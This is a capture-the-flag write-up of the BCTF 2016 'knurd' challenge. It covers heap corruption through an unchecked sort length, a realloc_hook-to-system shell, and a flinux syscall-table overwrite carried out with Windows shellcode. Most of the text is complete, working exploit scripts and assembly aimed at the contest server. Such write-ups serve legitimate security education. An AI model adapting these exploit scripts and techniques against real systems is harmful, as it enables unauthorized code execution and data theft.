[BCTF 2016] Knurd – Linux/Windows Exploitation
The Plaid Parliament of Pwning participated in (and won) BCTF 2016, hosted by Tsinghua University. Here’s a writeup of one of the problems, which was to exploit a Linux binary. It was worth 400 points (a medium-hard problem).
We were given a vulnerable 32-bit x86 binary built for Linux called knurd
, the libc binary, and the address of the server to exploit.
Solution Part 1 – Linux
knurd
implements some kind of sorting service where you can create “sets” (lists of numbers), sort them, edit them, and query them.
The sort function lets you sort a prefix of the list by specifying a number. However, the program doesn’t check whether that number is actually in range of the list size! Therefore, you can just “sort” way past the end of the array, corrupting subsequent objects in the heap. Furthermore, this can be used to move integers into the current list to leak heap values and addresses.
Our basic plan of attack is to create three sets, foo
, aaa
and bbb
in that order. Freeing aaa
creates a hole in the heap; by using a particular size of allocation, free
will write heap addresses (forward/backwards pointers) which we can leak.
We fill foo
with 0xffffffff values, then sort way past the end. This pushes the 0xffffffff
values to the end, where they will overwrite bbb
‘s size field, causing bbb
to have effectively infinite size. Combined with a leaked heap address, we get completely arbitrary read/write by querying/editing the bbb
list.
At this point, I got a little worried, because this was fairly straightforward and yet the problem was 400 points with 0 solves. Maybe I did something wrong? But I pressed on anyway, and quickly got a shell by overwriting realloc_hook
with system
:
from rxpwn import * s = Socket(('107.167.181.178', 29292)); remote=True def send_obj(x): if isinstance(x, list): pr('*%d' % len(x)) for i in x: send_obj(i) elif isinstance(x, str): pr('$%d' % len(x)) pr(x) elif isinstance(x, (int, long)): x = x & ((1<<64)-1) pr(':%d' % uq(pQ(x))) def recv_obj(): c = rd(1) if c == '+': return rd('\n')[:-1] elif c == ':': return int(rd('\n').strip()) elif c == '-': return 'e:' + rd('\n')[:-1] # preallocate fastbins send_obj(['A' * n for n in xrange(7, 119, 16)]) # make a set on the heap (large) send_obj(['NEWSET', 'foo', [0xffffffff] * 64]) # two more sets to go at the end of the heap send_obj(['NEWSET', 'aaa', [0x22222222] * 64]) send_obj(['NEWSET', 'bbb', [0x33333333] * 64]) # delete aaa to make a freed smallbin after foo send_obj(['RMSET', 'aaa']) # sort the set # this also pushes 0xffffffff out to bbb's count send_obj(['PSORT', 'foo', 160]) # dump the set for i in xrange(64): send_obj(['RETR', 'foo', i]) for i in xrange(6): recv_obj() heapleak = [recv_obj() for _ in xrange(64)] heapbase = heapleak[10] - 0x80 # weird log("heap base:", hex(heapbase)) bbb_addr = heapbase + 0x7e0 def bbboff(x): return ((x - bbb_addr) & 0xffffffff) >> 2 if remote: strtol = 0x2ff60 system = 0x3aea0 arena_offset = 0x1B67B0 realloc_hook = 0x1B6764 else: strtol = 0x345c0 system = 0x40190 arena_offset = 0x1AA450 realloc_hook = 0x1AA404 def read_chunk(addr, sz): addrs = xrange(addr, addr+sz, 4) for i in addrs: send_obj(['RETR', 'bbb', bbboff(i)]) res = [recv_obj() for i in xrange(addr, addr+sz, 4)] return pI(*res) libc_base = uI(read_chunk(heapbase + 0x88, 4)) - arena_offset log("libc base:", hex(libc_base)) # read existing realloc hook? curhook = uI(read_chunk(libc_base + realloc_hook, 4)) log("realloc hook:", hex(curhook)) # write system to realloc hook send_obj(['INCR', 'bbb', bbboff(libc_base + realloc_hook), libc_base + system - curhook]) # trigger realloc pr('+/bin/sh') interactive()
That was easy! Just cat /home/ctf/flag
and…
Thank you ${PLAYER_NAME_HERE}, but our princess is in another castle. Try to read D:\flag.txt.
C:\knurd\run_service.cmd might help you.
…what?! What are Windows paths doing in a Linux app? Oh no…
Solution Part 2 – Windows
uname
tells us that we’re running “ForeignLinux”. Googling for that yields the flinux
project, which is a Windows binary that uses dynamic binary translation to run Linux binaries on Windows without virtualization.
We copied over the contents of /c/knurd/
using base64
. Unfortunately, we can’t just read /d/flag.txt
– the D:
drive wasn’t mounted in flinux. So, we will just have to exploit flinux itself.
flinux works by loading the Linux binary into memory at the usual addresses, but then dynamically translating every bit of code to replace system call instructions with “kernel” calls (i.e. calls into the flinux binary, where the various Linux system calls are implemented in terms of Win32 API calls).
In effect, after exploiting the knurd
binary, we’re basically in “user mode” – we can’t directly call Win32 APIs because any syscall instructions we emit will get dynamically translated to Linux syscalls. Our goal is therefore to exploit the flinux “kernel”.
Luckily, this is actually really easy. There’s no memory protection that prevents “user” code from writing to “kernel” memory (since it’s really just a single process), so we can just write a function pointer into flinux’s syscall table using our arbitrary read/write (very similar to the way you get codeexec when doing Linux kernel exploitation). Triggering the syscall lets us execute code in “kernel mode” (i.e. without the dynamic binary translator in the way). As a nice added bonus, all memory segments in the Linux knurd
binary are loaded “read | write | execute”, so we can just stash our shellcode anywhere.
Finally, all we need is little piece of Windows open-read-write
shellcode to read the flag:
BITS 32 jmp push_pc _start: pop ebx ; address of datasect ; HANDLE __stdcall CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile) push 0 ; hTemplateFile push 0 ; dwFlagsAndAttributes push 3 ; dwCreationDisposition = OPEN_EXISTING push 0 ; lpSecurityAttributes push 1 ; dwShareMode = FILE_SHARE_READ push 0x80000000 ; dwDesiredAccess = GENERIC_READ lea ecx, [ebx+filename-datasect] push ecx mov esi, [CreateFileA] call esi ; BOOL __stdcall ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped) push 0 push 0 push 0x80 lea ecx, [ebx+flag_contents-datasect] push ecx push eax mov esi, [ReadFile] call esi writeloop: ; HANDLE __stdcall GetStdHandle(DWORD nStdHandle) mov esi, [GetStdHandle] push 0xFFFFFFF6 ; stdout call esi ; WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped) push 0 push 0 push 0x80 lea ecx, [ebx+flag_contents-datasect] push ecx push eax mov esi, [WriteFile] call esi jmp writeloop push_pc: call _start datasect: ; imports CreateFileA equ 0x4260B4 GetStdHandle equ 0x42605C ReadFile equ 0x426118 WriteFile equ 0x42611C filename: db "D:\\flag.txt", 0 banner: db "Hello, World!" banner_len equ $-banner flag_contents:
and a script to actually do the work:
from rxpwn import * s = Socket(('107.167.181.178', 29292)); remote=True #s = Socket(('172.16.113.128', 29292)); remote=False import subprocess subprocess.check_call(['nasm', 'shellcode.s']) shellcode = open('shellcode', 'r').read() def send_obj(x): if isinstance(x, list): pr('*%d' % len(x)) for i in x: send_obj(i) elif isinstance(x, str): pr('$%d' % len(x)) pr(x) elif isinstance(x, (int, long)): x = x & ((1<<64)-1) pr(':%d' % uq(pQ(x))) def recv_obj(): c = rd(1) if c == '+': return rd('\n')[:-1] elif c == ':': return int(rd('\n').strip()) elif c == '-': return 'e:' + rd('\n')[:-1] # preallocate fastbins send_obj(['A' * n for n in xrange(7, 119, 16)]) # make a set on the heap (large) send_obj(['NEWSET', 'foo', [0xffffffff] * 64]) # two more sets to go at the end of the heap send_obj(['NEWSET', 'aaa', [0x22222222] * 64]) send_obj(['NEWSET', 'bbb', [0x33333333] * 64]) # delete aaa to make a freed smallbin after foo send_obj(['RMSET', 'aaa']) # sort the set # this also pushes 0xffffffff out to bbb's count send_obj(['PSORT', 'foo', 160]) # dump the set for i in xrange(64): send_obj(['RETR', 'foo', i]) for i in xrange(6): recv_obj() heapleak = [recv_obj() for _ in xrange(64)] heapbase = heapleak[10] - 0x80 # weird log("heap base:", hex(heapbase)) bbb_addr = heapbase + 0x7e0 def bbboff(x): return ((x - bbb_addr) & 0xffffffff) >> 2 strtol = 0x2ff60 system = 0x3aea0 arena_offset = 0x1B67B0 realloc_hook = 0x1B6764 mkdirat = 0xD8D40 def read_chunk(addr, sz): addrs = xrange(addr, addr+sz, 4) for i in addrs: send_obj(['RETR', 'bbb', bbboff(i)]) res = [recv_obj() for i in xrange(addr, addr+sz, 4)] return pI(*res) def write_chunk(addr, data): sz = len(data) if sz % 4: sz += 4 - (sz % 4) orig = read_chunk(addr, sz) new = data + orig[len(data):] for i in xrange(0, sz, 4): diff = uI(new[i:i+4]) - uI(orig[i:i+4]) send_obj(['INCR', 'bbb', bbboff(addr + i), diff]) for i in xrange(0, sz, 4): recv_obj() cave = 0x804d100 # overwrite flinux kernel syscall table (mkdirat -> shellcode) write_chunk(0x435C68 + 296*4, pI(cave)) write_chunk(cave, shellcode) libc_base = uI(read_chunk(heapbase + 0x88, 4)) - arena_offset log("libc base:", hex(libc_base)) # call "mkdirat" on realloc hook write_chunk(libc_base + realloc_hook, pI(libc_base + mkdirat)) # trigger realloc pr('+blah') interactive()
Running pwn2.py finally gives us the flag: BCTF{we_drunk_again_here_is_your_princess_e7ae40c7}